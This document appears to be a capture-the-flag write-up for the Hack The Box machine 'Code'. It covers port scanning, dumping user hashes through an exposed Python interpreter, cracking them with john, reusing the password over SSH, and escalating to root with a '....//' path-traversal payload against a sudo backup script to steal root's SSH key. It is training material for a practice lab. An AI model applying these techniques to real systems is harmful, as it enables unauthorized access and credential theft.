Description

Code is an easy Hack The Box machine that features:

  • Python web application interpreter that allows reading sensitive data
  • Password reuse for the Linux system
  • Privilege Escalation via a vulnerable script that allows reading files from root user

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.33.252.

$ ping -c 3 10.129.33.252
PING 10.129.33.252 (10.129.33.252) 56(84) bytes of data.
64 bytes from 10.129.33.252: icmp_seq=1 ttl=63 time=46.4 ms
64 bytes from 10.129.33.252: icmp_seq=2 ttl=63 time=47.2 ms
64 bytes from 10.129.33.252: icmp_seq=3 ttl=63 time=46.7 ms

--- 10.129.33.252 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.376/46.769/47.205/0.339 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.33.252 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.33.252
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 3.01 seconds

We get two open ports, 22 and 5000.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.33.252 -Pn -sV -sC -p22,5000 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.33.252
Host is up (0.046s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.25 seconds

We get two services: Secure Shell (SSH) and Hypertext Transfer Protocol (HTTP) running on a Linux Ubuntu. As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We find a page that offers a Python command interpreter. We have the ability of creating an account and login, so there might be accounts registered. With the print(globals()) Python method we can obtain a dictionary with all the global variables and symbols for the current program. This is the result:

{'__name__': 'app', '__doc__': None, '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f07517bb6d0>, '__spec__': ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f07517bb6d0>, origin='/home/app-production/app/app.py'), '__file__': '/home/app-production/app/app.py', '__cached__': '/home/app-production/app/__pycache__/app.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: 
...
for help about object.}, 'Flask': <class 'flask.app.Flask'>, 'render_template': <function render_template at 0x7f0751179ee0>, 'render_template_string': <function render_template_string at 0x7f0751179f70>, 'request': <Request 'http://10.129.33.252:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7f0751423c10>, 'redirect': <function redirect at 0x7f075128d3a0>, 'url_for': <function ...
0x7f075128d550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>
...

We find that the program is running from the /home/app-production/app/app.py file. It is using the SQLAlchemy library and the sqlite DBMS to save the database data in the /home/app-production/app/instance/database.db file.

Exploitation

We find two interesting classes User and Code. Let’s check the type with the type(User) expression. We get as a result the <class 'flask_sqlalchemy.model.DefaultMeta'> class. We can obtain all the objects of this class by using the User.query.all() expression. We find two registered users [<User 1>, <User 2>]. We can obtain the variables of the object and the values with the following Python code.

for user in User.query.all():
    print(vars(user))

We obtain as a result:

{'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7f8ed3dd1460>, 'password': '759b74ce43947f5f4c91aeddc3e5bad3', 'id': 1, 'username': 'development'} {'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7f8ed3dd14c0>, 'password': '3de6f30c4a09c27fc71932bfc68474be', 'id': 2, 'username': 'martin'} 

We we the hashed passwords for the development and martin users: 759b74ce43947f5f4c91aeddc3e5bad3, and 3de6f30c4a09c27fc71932bfc68474be. Let’s crack them as MD5 hashes.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hashes                                                                            1 ↡
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
development      (development)     
nafeelswordsmaster (martin)     
2g 0:00:00:00 DONE 9.523g/s 24890Kp/s 24890Kc/s 25857KC/s nafi1993..naerox
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

We find the password for development user, development, and for the martin user, nafeelswordsmaster. We can login into the machine using SSH and the martin data.

$ ssh martin@10.129.33.252
martin@10.129.33.252's password: 
...
martin@code:~$ id
uid=1000(martin) gid=1000(martin) groups=1000(martin)

Post-Exploitation

We find that martin can run only one command as root user, /usr/bin/backy.sh. Let’s inspect the script.

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ cat /usr/bin/backy.sh

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

We find that the script is receiving the task.json and checking if the directories passed are only contained in /home and /var. It is also checking for path traversal in the paths with jq tool and gsub function. The regular expression is removing the string ../ from the paths. We have a sample of the /home/backups/task.json file.

{
    "destination": "/home/martin/backups/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/home/app-production/app"
    ],

    "exclude": [
        ".*"
    ]
}

The backup files are saved in the /home/martin/backups/ directory. The objective is to backup the /root, or /home/../root//var/../root directory. We can surpass the limitation of the regular expression by using the following path: /home/....//root. We also need to delete the ".*" string from the exclude key. The final file is:

{
    "destination": "/home/martin/backups/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/home/....//root"
    ],

    "exclude": []
}

Now we can run the script:

martin@code:~$ sudo /usr/bin/backy.sh task.json 
πŸ€ backy 1.2
πŸ“‹ Working with task.json ...
πŸ’€ Nothing to sync
πŸ“€ Archiving: [/home/../root]
πŸ“₯ To: /home/martin/backups ...
πŸ“¦

We find the backup archive in the backups/code_home_.._root_2025_March.tar.bz2 file. We can extract it.

martin@code:~$ ls backups/
code_home_app-production_app_2024_August.tar.bz2
code_home_.._root_2025_March.tar.bz2
task.json
martin@code:~$ tar xjf backups/code_home_.._root_2025_March.tar.bz2

We find the SSH private key for the root user in the root/.ssh/id_rsa. We use it to create a root session.

martin@code:~$ ls root/.ssh/
authorized_keys  id_rsa
martin@code:~$ ssh -i root/.ssh/id_rsa root@127.0.0.1
...
root@code:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

In the root terminal, we can obtain user and root flags.

root@code:~# cat /home/app-production/user.txt 
<REDACTED>
root@code:~# cat /root/root.txt 
<REDACTED>